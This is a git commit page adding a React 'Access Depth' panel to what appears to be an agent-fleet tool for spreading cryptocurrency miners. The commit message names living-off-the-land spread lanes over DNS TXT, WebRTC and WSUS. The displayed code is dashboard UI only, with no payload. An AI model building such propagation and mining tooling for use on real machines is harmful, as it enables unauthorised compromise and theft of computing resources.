Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
196
server/web/src/components/Fleet/AccessDepthPanel.tsx
Normal file
196
server/web/src/components/Fleet/AccessDepthPanel.tsx
Normal file
@@ -0,0 +1,196 @@
|
||||
import { useEffect, useMemo, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../../api/client';
|
||||
import {
|
||||
buildAccessDepthModel,
|
||||
parseAccessDepthServerPolicy,
|
||||
type AccessDepthDiagnostics,
|
||||
} from '../../help/accessDepth';
|
||||
import type { Agent } from '../../types';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import JoinLaneBadge from './JoinLaneBadge';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
import './AccessDepthPanel.css';
|
||||
import './LotlVisuals.css';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
diagnostics?: AccessDepthDiagnostics;
|
||||
}
|
||||
|
||||
function OnionList({ rows, empty }: { rows: ReturnType<typeof buildAccessDepthModel>['miningOnion']; empty: string }) {
|
||||
if (rows.length === 0) {
|
||||
return <div className="access-depth-empty">{empty}</div>;
|
||||
}
|
||||
return (
|
||||
<ol className="access-depth-onion-list">
|
||||
{rows.map((row) => (
|
||||
<li key={`${row.index}-${row.tier}`} className={`access-depth-onion-item access-depth-onion-item--${row.status}`}>
|
||||
<span className="access-depth-onion-idx">{row.index}.</span>
|
||||
<span className="access-depth-onion-label">{row.label}</span>
|
||||
{row.status === 'active' && <span className="access-depth-tag access-depth-tag--active">active</span>}
|
||||
{row.status === 'skipped' && <span className="access-depth-tag access-depth-tag--skip">skipped</span>}
|
||||
{row.status === 'done' && <span className="access-depth-tag access-depth-tag--ok">ok</span>}
|
||||
{row.status === 'failed' && <span className="access-depth-tag access-depth-tag--fail">fail</span>}
|
||||
{row.status === 'pending' && <span className="access-depth-tag access-depth-tag--pending">pending</span>}
|
||||
</li>
|
||||
))}
|
||||
</ol>
|
||||
);
|
||||
}
|
||||
|
||||
function AttemptMiniList({
|
||||
rows,
|
||||
empty,
|
||||
}: {
|
||||
rows: ReturnType<typeof buildAccessDepthModel>['succeeded'];
|
||||
empty: string;
|
||||
}) {
|
||||
if (rows.length === 0) return <div className="access-depth-empty">{empty}</div>;
|
||||
return (
|
||||
<ul className="access-depth-attempt-list">
|
||||
{rows.map((row, i) => (
|
||||
<li key={`${row.tier}-${i}`} className="access-depth-attempt-row">
|
||||
<span className={`lotl-attempt-icon ${row.ok ? 'ok' : 'fail'}`}>{row.ok ? '✓' : '✗'}</span>
|
||||
<span className="access-depth-attempt-tier">{row.label}</span>
|
||||
{row.phase && <span className="access-depth-phase">{row.phase}</span>}
|
||||
{!row.ok && row.error && <span className="lotl-attempt-err">{row.error}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
);
|
||||
}
|
||||
|
||||
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
const [policyLoaded, setPolicyLoaded] = useState(false);
|
||||
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
api
|
||||
.getConfig()
|
||||
.then((cfg) => {
|
||||
if (!cancelled) {
|
||||
setServerPolicy(parseAccessDepthServerPolicy(cfg));
|
||||
setPolicyLoaded(true);
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) setPolicyLoaded(true);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
const model = useMemo(
|
||||
() => buildAccessDepthModel(agent, diagnostics, serverPolicy),
|
||||
[agent, diagnostics, serverPolicy],
|
||||
);
|
||||
|
||||
return (
|
||||
<section className="access-depth-panel lotl-attempts-block" aria-label="Access depth">
|
||||
<div className="access-depth-header">
|
||||
<span className="lotl-attempts-title">
|
||||
ACCESS DEPTH <HelpTip field="crucible_access_depth" />
|
||||
</span>
|
||||
{!policyLoaded && <span className="access-depth-muted">loading policy…</span>}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-grid">
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">OS & posture</div>
|
||||
<div className="access-depth-os-line">{model.osLine}</div>
|
||||
{model.probes.length > 0 && (
|
||||
<div className="access-depth-probes">
|
||||
{model.probes.map((p) => (
|
||||
<span key={p.key} className={`access-depth-probe ${p.ok ? 'ok' : 'no'}`}>
|
||||
{p.label}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{model.spreadCaps.length > 0 && (
|
||||
<div className="access-depth-meta">
|
||||
spread: {model.spreadCaps.join(', ')}
|
||||
</div>
|
||||
)}
|
||||
{model.privilegeHints.length > 0 && (
|
||||
<div className="access-depth-meta">
|
||||
{model.privilegeHints.join(' · ')}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Active</div>
|
||||
{model.activeTier ? (
|
||||
<LotlTierBadge tier={model.activeTier} attempts={agent.lotl_attempts} variant="inline" />
|
||||
) : (
|
||||
<div className="access-depth-empty">No active mining tier</div>
|
||||
)}
|
||||
{model.joinLane ? (
|
||||
<div className="access-depth-join">
|
||||
join lane <JoinLaneBadge lane={model.joinLane} />
|
||||
</div>
|
||||
) : (
|
||||
<div className="access-depth-muted">No join lane yet</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Succeeded</div>
|
||||
<AttemptMiniList rows={model.succeeded} empty="No successful tier attempts" />
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Failed / in progress</div>
|
||||
<AttemptMiniList rows={model.failed} empty="No failed attempts" />
|
||||
{model.inProgressLabel && (
|
||||
<div className="access-depth-in-progress">
|
||||
trying <strong>{model.inProgressLabel}</strong>
|
||||
</div>
|
||||
)}
|
||||
{model.pendingLabels.length > 0 && (
|
||||
<div className="access-depth-pending">
|
||||
pending: {model.pendingLabels.slice(0, 6).join(' → ')}
|
||||
{model.pendingLabels.length > 6 ? ` +${model.pendingLabels.length - 6}` : ''}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section access-depth-onion-block">
|
||||
<div className="access-depth-section-title">
|
||||
Effective onion order
|
||||
<span className="access-depth-source">({model.miningOrderSource})</span>
|
||||
</div>
|
||||
<div className="access-depth-onion-columns">
|
||||
<div>
|
||||
<div className="access-depth-onion-subtitle">Mining tiers</div>
|
||||
<OnionList rows={model.miningOnion} empty="No mining tier chain" />
|
||||
</div>
|
||||
<div>
|
||||
<div className="access-depth-onion-subtitle">
|
||||
Spread contingency{' '}
|
||||
<Link to="/settings" className="access-depth-calibrate-link">
|
||||
Calibrate
|
||||
</Link>
|
||||
</div>
|
||||
<OnionList rows={model.spreadOnion} empty="Default spread order" />
|
||||
</div>
|
||||
</div>
|
||||
{model.tripleOnionSummary && (
|
||||
<div className="access-depth-triple">
|
||||
Triple onion: {model.tripleOnionSummary}
|
||||
</div>
|
||||
)}
|
||||
<p className="access-depth-hint">
|
||||
<HelpTip field="crucible_access_depth_calibrate" label="?" />{' '}
|
||||
Calibrate → <Link to="/settings">lotl_onion_tiers</Link> changes spread order on next agent reconnect.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
Reference in New Issue
Block a user